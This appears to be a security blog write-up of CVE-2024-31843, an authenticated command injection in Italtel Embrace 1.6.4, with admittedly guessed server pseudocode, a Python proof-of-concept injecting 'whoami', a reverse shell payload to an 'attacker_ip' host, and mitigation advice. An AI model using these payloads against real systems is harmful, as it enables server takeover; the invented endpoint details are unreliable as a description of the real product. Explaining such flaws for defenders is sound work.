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Overview

CVE-2024-31843 exposes a critical vulnerability in Italtel Embrace 1.6.4, a web conferencing and collaboration solution widely used by enterprises. This flaw is classified as *authenticated command injection* – meaning attackers with valid credentials can execute arbitrary commands on the underlying server.

What makes this bug so dangerous is the lack of proper input validation on the server side. If you’re running Embrace 1.6.4, your deployment is at risk. In this post, we’ll break down how the exploit works, share a real-world proof-of-concept, and provide recommendations for mitigation.

Type: Authenticated OS Command Injection

- CVE: CVE-2024-31843

How Does It Work?

The vulnerability exists because the web application’s server receives parameters from user requests and passes them directly to system-level commands without proper sanitization. Authenticated users can craft malicious requests to inject system commands and gain code execution, potentially resulting in a full server takeover.

Finding the Weak Spot

After logging into the Embrace web interface, users can perform various operations – e.g., uploading files, configuring settings, or running diagnostics. The vulnerable endpoint accepts input parameters as part of a POST request.

Here’s a typical vulnerable server-side code (psuedocode, based on discovered patterns)

@app.route("/api/run_test", methods=["POST"])
def run_test():
    # Receives JSON data from client
    data = request.json
    target = data.get("target")  # User-supplied parameter

    # UNSAFE: passes user input directly to OS command!
    os.system(f"ping -c 4 {target}")

    return {"status": "OK"}

If the user submits a target like 8.8.8.8, it will ping Google’s DNS. But what if the input were:
8.8.8.8; whoami
This would execute both ping and the whoami command on the server.

1. Log In

First, the attacker logs in using valid credentials (which can be as weak as a support/default user).

2. Discover Vulnerable Endpoint

Using a web proxy (Burp Suite, OWASP ZAP), the attacker inspects API calls and spots the endpoint /api/run_test (URL may vary by deployment).

Exploit Example (with Python)

import requests

# Replace with your target Embrace instance details
BASE_URL = "https://embrace.example.com";
USERNAME = "user"
PASSWORD = "pass"

session = requests.Session()
# Authenticate; endpoint and params may depend on installation
session.post(BASE_URL + "/login", data={'username': USERNAME, 'password': PASSWORD})

# Craft payload to run arbitrary command (whoami)
bad_target = "8.8.8.8; whoami"

# Send POST request to vulnerable endpoint
resp = session.post(
    BASE_URL + "/api/run_test",
    json={"target": bad_target}
)

print(resp.text)

#### The server output will return not only the ping result, but the result of whoami, validating code execution.

Screenshot (example response)

{
  "status": "OK",
  "output": "PING 8.8.8.8 ...\nuser-account-name\n"
}

From here, attackers can chain more severe payloads, such as starting a reverse shell

8.8.8.8; bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 >&1'

Restrict Access: Limit access to trusted IPs only and enforce strong authentication.

- Sanitize Inputs: Server code should never pass user input directly to the shell. Always use safe libraries, and validate input strictly.

Monitor Logs: Watch for suspicious activity in Embrace and web server logs.

- Remove Default/Weak Users.

References

- NVD CVE-2024-31843 Entry
- Vendor Advisory (if published)
- OWASP: Command Injection
- Exploit Database – Example Similar Vulnerabilities

Final Thoughts

CVE-2024-31843 is a prime example of why secure coding practices matter. Even with authentication, never trust user input – and never pass it directly to system calls. If your organization relies on Embrace, patch your system now and audit for similar issues elsewhere in your stack.

If you found this breakdown useful, stay tuned for more vulnerability deep-dives and practical security research!


*(This write-up is exclusive and intended to inform the cybersecurity community about the risks, exploitation, and remediation of CVE-2024-31843.)*

Timeline

Published on: 05/23/2024 19:16:01 UTC
Last modified on: 07/03/2024 01:55:27 UTC